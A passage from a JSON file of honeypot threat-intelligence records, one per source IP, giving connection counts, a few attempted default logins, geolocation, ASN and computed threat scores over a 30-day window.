        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T12:25:53.481000+00:00",
        "last_seen_30d": "2026-04-16T01:39:14.560000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 6,
        "Dionaea": 2
      }
    },
    "103.161.16.196": {
      "attack_count": 5,
      "first_seen": "2026-04-13T10:40:46.874Z",
      "last_seen": "2026-04-13T10:40:48.746Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135967,
      "as_org": "Bach Kim Network solutions Join stock company",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T10:40:46.874000+00:00",
        "last_seen_30d": "2026-04-13T10:41:54.102000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "128.14.237.154": {
      "attack_count": 5,
      "first_seen": "2026-04-12T12:03:46.035Z",
      "last_seen": "2026-04-12T12:03:48.396Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "postgres"
      ],
      "passwords_attempted": [
        "postgres12345"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T12:03:46.035000+00:00",
        "last_seen_30d": "2026-04-12T12:04:50.279000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "45.156.129.197": {
      "attack_count": 5,
      "first_seen": "2026-04-09T04:34:27.655Z",
      "last_seen": "2026-04-09T04:34:38.675Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 18.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 6.7,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 8,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-04T04:07:18.346000+00:00",
        "last_seen_30d": "2026-04-11T01:08:45.037000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Cowrie": 5,
        "Honeytrap": 3,
        "ElasticPot": 2
      }
    },
    "116.193.191.209": {
      "attack_count": 4,
      "first_seen": "2026-04-16T11:58:22.190Z",
      "last_seen": "2026-04-16T11:58:30.193Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T11:58:22.190000+00:00",
        "last_seen_30d": "2026-04-16T11:59:39.966000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "147.185.132.84": {
      "attack_count": 4,
      "first_seen": "2026-04-09T04:32:31.255Z",
      "last_seen": "2026-04-09T04:32:33.981Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 81.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.1,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 102,
        "days_active_30d": 27,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-02T21:06:11+00:00",
        "last_seen_30d": "2026-04-28T03:38:04.356000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 69,
        "Honeytrap": 25,
        "Cowrie": 4,
        "Honeyaml": 3,
        "Dionaea": 1
      }
    },
    "159.223.26.186": {
      "attack_count": 4,
      "first_seen": "2026-04-14T20:13:35.523Z",
      "last_seen": "2026-04-16T02:33:21.414Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 39.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.4,
        "persistence": 6.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 174,
        "days_active_30d": 8,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-09T19:52:16.469000+00:00",
        "last_seen_30d": "2026-04-16T02:34:22.044000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 132,
        "Honeytrap": 36,
        "Cowrie": 4,
        "Ipphoney": 1,
        "Tanner": 1
      }
    },
    "198.235.24.159": {
      "attack_count": 4,
      "first_seen": "2026-04-15T22:30:22.311Z",
      "last_seen": "2026-04-15T22:30:25.606Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 69.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.6,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 28,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T07:04:15.517000+00:00",
        "last_seen_30d": "2026-04-28T17:45:00.795000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 24,
        "Honeytrap": 8,
        "Cowrie": 4
      }
    },
    "205.210.31.192": {
      "attack_count": 4,
      "first_seen": "2026-04-07T04:51:58.874Z",
      "last_seen": "2026-04-07T04:52:02.302Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.6,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 143,
        "days_active_30d": 29,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-02T02:07:51+00:00",
        "last_seen_30d": "2026-04-30T12:17:17.385000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 96,
        "Honeytrap": 23,
        "ConPot": 18,
        "Cowrie": 4,
        "CitrixHoneypot": 1,
        "Dionaea": 1
      }
    },
    "205.210.31.41": {
      "attack_count": 4,
      "first_seen": "2026-04-17T10:22:01.141Z",
      "last_seen": "2026-04-17T10:22:05.008Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 83.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 85,
        "days_active_30d": 29,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T22:56:41+00:00",
        "last_seen_30d": "2026-04-30T19:15:16.449000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 55,
        "Honeytrap": 24,
        "Cowrie": 4,
        "Ciscoasa": 2
      }
    },
    "36.32.202.203": {
      "attack_count": 4,
      "first_seen": "2026-04-19T11:11:15.751Z",
      "last_seen": "2026-04-19T11:11:16.336Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T11:11:15.751000+00:00",
        "last_seen_30d": "2026-04-19T11:21:24.354000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "66.132.172.135": {
      "attack_count": 4,
      "first_seen": "2026-04-20T11:35:08.181Z",
      "last_seen": "2026-04-20T11:35:23.237Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 93.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 208,
        "days_active_30d": 30,
        "ports_targeted_30d": 48,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-04-01T19:31:40+00:00",
        "last_seen_30d": "2026-04-30T08:13:58.737000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 137,
        "Honeytrap": 39,
        "Miniprint": 7,
        "Honeyaml": 6,
        "CitrixHoneypot": 4,
        "Cowrie": 4,
        "ElasticPot": 4,
        "H0neytr4p": 4,
        "Dionaea": 2,
        "ConPot": 1
      }
    },
    "79.125.160.249": {
      "attack_count": 4,
      "first_seen": "2026-04-06T15:38:10.465Z",
      "last_seen": "2026-04-10T06:10:14.914Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "North Macedonia",
      "country_code": "MK",
      "city": "Skopje",
      "asn": 6821,
      "as_org": "Makedonski Telekom AD-Skopje",
      "threat_score": 8.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T15:38:10.465000+00:00",
        "last_seen_30d": "2026-04-10T06:11:19.610000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "106.117.108.212": {
      "attack_count": 3,
      "first_seen": "2026-04-08T00:50:38.576Z",
      "last_seen": "2026-04-08T00:50:38.578Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shijiazhuang",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T00:50:38.576000+00:00",
        "last_seen_30d": "2026-04-08T00:51:42.379000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 3
      }
    },
    "115.191.32.57": {
      "attack_count": 3,
      "first_seen": "2026-04-21T04:37:21.210Z",
      "last_seen": "2026-04-21T04:38:23.928Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T04:37:21.210000+00:00",
        "last_seen_30d": "2026-04-21T04:39:29.362000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "165.232.94.204": {
      "attack_count": 3,
      "first_seen": "2026-04-17T18:32:01.611Z",
      "last_seen": "2026-04-17T18:32:01.612Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 43.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 126543,
        "days_active_30d": 1,
        "ports_targeted_30d": 65753,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-04-17T18:30:10+00:00",
        "last_seen_30d": "2026-04-17T18:44:22.024000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 111263,
        "Honeytrap": 15225,
        "Mailoney": 12,
        "ConPot": 10,
        "Dionaea": 9,
        "Miniprint": 8,
        "Cowrie": 3,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "115.96.132.76": {
      "attack_count": 2,
      "first_seen": "2026-04-02T08:49:12.223Z",
      "last_seen": "2026-04-02T08:49:26.710Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Kolkata",
      "asn": 17488,
      "as_org": "Hathway IP Over Cable Internet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T08:49:12.223000+00:00",
        "last_seen_30d": "2026-04-02T08:50:33.822000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "116.148.210.71": {
      "attack_count": 2,
      "first_seen": "2026-04-06T12:36:29.837Z",
      "last_seen": "2026-04-06T12:36:29.838Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T12:36:29.837000+00:00",
        "last_seen_30d": "2026-04-06T12:37:38.435000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.164.64.176": {
      "attack_count": 2,
      "first_seen": "2026-04-29T21:39:24.378Z",
      "last_seen": "2026-04-29T21:39:37.902Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Uijeongbu-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T21:39:24.378000+00:00",
        "last_seen_30d": "2026-04-29T21:40:40.095000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.112.209.195": {
      "attack_count": 2,
      "first_seen": "2026-04-21T16:51:11.160Z",
      "last_seen": "2026-04-21T16:51:24.593Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T16:51:11.160000+00:00",
        "last_seen_30d": "2026-04-21T16:52:28.478000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "152.58.81.255": {
      "attack_count": 2,
      "first_seen": "2026-04-30T13:50:42.512Z",
      "last_seen": "2026-04-30T13:50:55.061Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T13:50:42.512000+00:00",
        "last_seen_30d": "2026-04-30T13:51:58.940000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "176.98.25.19": {
      "attack_count": 2,
      "first_seen": "2026-04-25T23:17:11.829Z",
      "last_seen": "2026-04-25T23:19:11.831Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Vasylkiv",
      "asn": 49889,
      "as_org": "Crystal Telecom Ltd",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T23:17:11.829000+00:00",
        "last_seen_30d": "2026-04-25T23:20:17.358000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "183.147.161.156": {
      "attack_count": 2,
      "first_seen": "2026-04-30T16:18:47.722Z",
      "last_seen": "2026-04-30T16:18:59.927Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T16:18:47.722000+00:00",
        "last_seen_30d": "2026-04-30T16:20:08.489000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.235.248.199": {
      "attack_count": 2,
      "first_seen": "2026-04-29T04:04:19.196Z",
      "last_seen": "2026-04-29T04:06:19.198Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Aguascalientes",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T04:04:19.196000+00:00",
        "last_seen_30d": "2026-04-29T04:16:57.061000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "195.184.76.242": {
      "attack_count": 2,
      "first_seen": "2026-04-15T08:31:34.365Z",
      "last_seen": "2026-04-15T08:31:34.372Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 87.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 158,
        "days_active_30d": 30,
        "ports_targeted_30d": 51,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T00:16:19.292000+00:00",
        "last_seen_30d": "2026-04-30T21:45:44.369000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 116,
        "Honeytrap": 39,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "221.162.135.224": {
      "attack_count": 2,
      "first_seen": "2026-04-05T02:16:34.475Z",
      "last_seen": "2026-04-05T02:16:47.826Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Buk-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T02:16:34.475000+00:00",
        "last_seen_30d": "2026-04-05T02:17:48.947000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.35.50.9": {
      "attack_count": 2,
      "first_seen": "2026-04-07T12:43:24.835Z",
      "last_seen": "2026-04-07T12:43:38.846Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gwanak-gu",
      "asn": 9762,
      "as_org": "kt HCN Co.,Ltd.",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T12:43:24.835000+00:00",
        "last_seen_30d": "2026-04-07T12:44:46.914000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.130.140.36": {
      "attack_count": 2,
      "first_seen": "2026-04-16T18:26:48.711Z",
      "last_seen": "2026-04-16T18:26:49.042Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "New Cairo",
      "asn": 24863,
      "as_org": "LINKdotNET",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T18:26:48.711000+00:00",
        "last_seen_30d": "2026-04-16T18:27:53.608000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "47.104.198.108": {
      "attack_count": 2,
